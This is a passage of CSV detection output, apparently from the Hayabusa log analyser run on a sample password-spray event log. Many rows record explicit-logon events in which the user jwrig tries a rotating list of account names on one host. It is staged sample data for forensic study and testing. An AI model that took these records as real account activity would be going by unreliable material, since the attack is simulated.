Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:50.156 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: gsalinas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:51.239 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: tbennett : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:52.302 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: econrad : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:53.366 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:54.441 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jleytevidal : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:55.503 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lpesce : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:56.579 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sanson : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:57.650 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sarmstrong : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:58.722 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: wstrzelec : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:59.800 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: zmathis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:00.872 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: melliott : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:01.934 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: kperryman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:02.995 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jorchilles : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:04.075 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jlake : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:05.156 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: edygert : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:06.238 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: drook : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:07.308 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dmashburn : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:08.370 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cspizor : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:09.433 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cragoso : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:10.523 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgalbraith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:11.590 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bking : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:12.649 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mdouglas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:13.722 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgreenwood : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:14.787 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: baker : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:15.846 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ssims : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:16.940 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:18.019 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: Administrator : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:19.076 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jwright : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:20.162 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dpendolino : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:21.257 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: celgee : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:22.327 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: thessman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:23.410 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: eskoudis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:24.477 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cdavis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:25.557 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mtoussain : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:26.628 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lschifano : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:27.690 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bhostetler : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:28.763 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: rbowes : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:29.837 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ebooth : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:30.921 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cfleener : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:31.996 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cmoody : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:33.058 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: psmith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:34.138 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jkulikowski : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:35.199 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: gsalinas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:36.266 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: tbennett : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:37.375 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: econrad : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:38.439 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:39.499 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jleytevidal : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:40.560 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lpesce : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:41.637 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sanson : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:42.734 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sarmstrong : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:43.795 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: wstrzelec : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:44.875 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: zmathis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:45.951 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: melliott : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:47.017 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: kperryman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:48.096 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jorchilles : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:49.176 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jlake : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:50.264 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: edygert : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:51.340 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: drook : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:52.405 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dmashburn : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:53.466 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cspizor : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:54.572 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cragoso : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:55.671 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgalbraith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:56.741 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bking : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:57.817 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mdouglas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:58.894 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgreenwood : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:59.965 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: baker : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:01.026 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ssims : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:02.115 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:03.191 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: Administrator : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:04.272 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jwright : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:05.348 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dpendolino : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:06.426 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: celgee : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:07.478 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: thessman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:08.564 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: eskoudis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:09.668 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cdavis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:10.717 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mtoussain : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:11.809 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lschifano : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:12.857 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bhostetler : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:13.904 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: rbowes : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:14.972 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ebooth : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:16.050 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cfleener : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:17.129 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cmoody : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:18.186 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: psmith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:19.254 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jkulikowski : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:20.329 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: gsalinas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:21.401 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: tbennett : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:22.487 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: econrad : IP Address: 172.16.144.128 : Process: : Target Server: 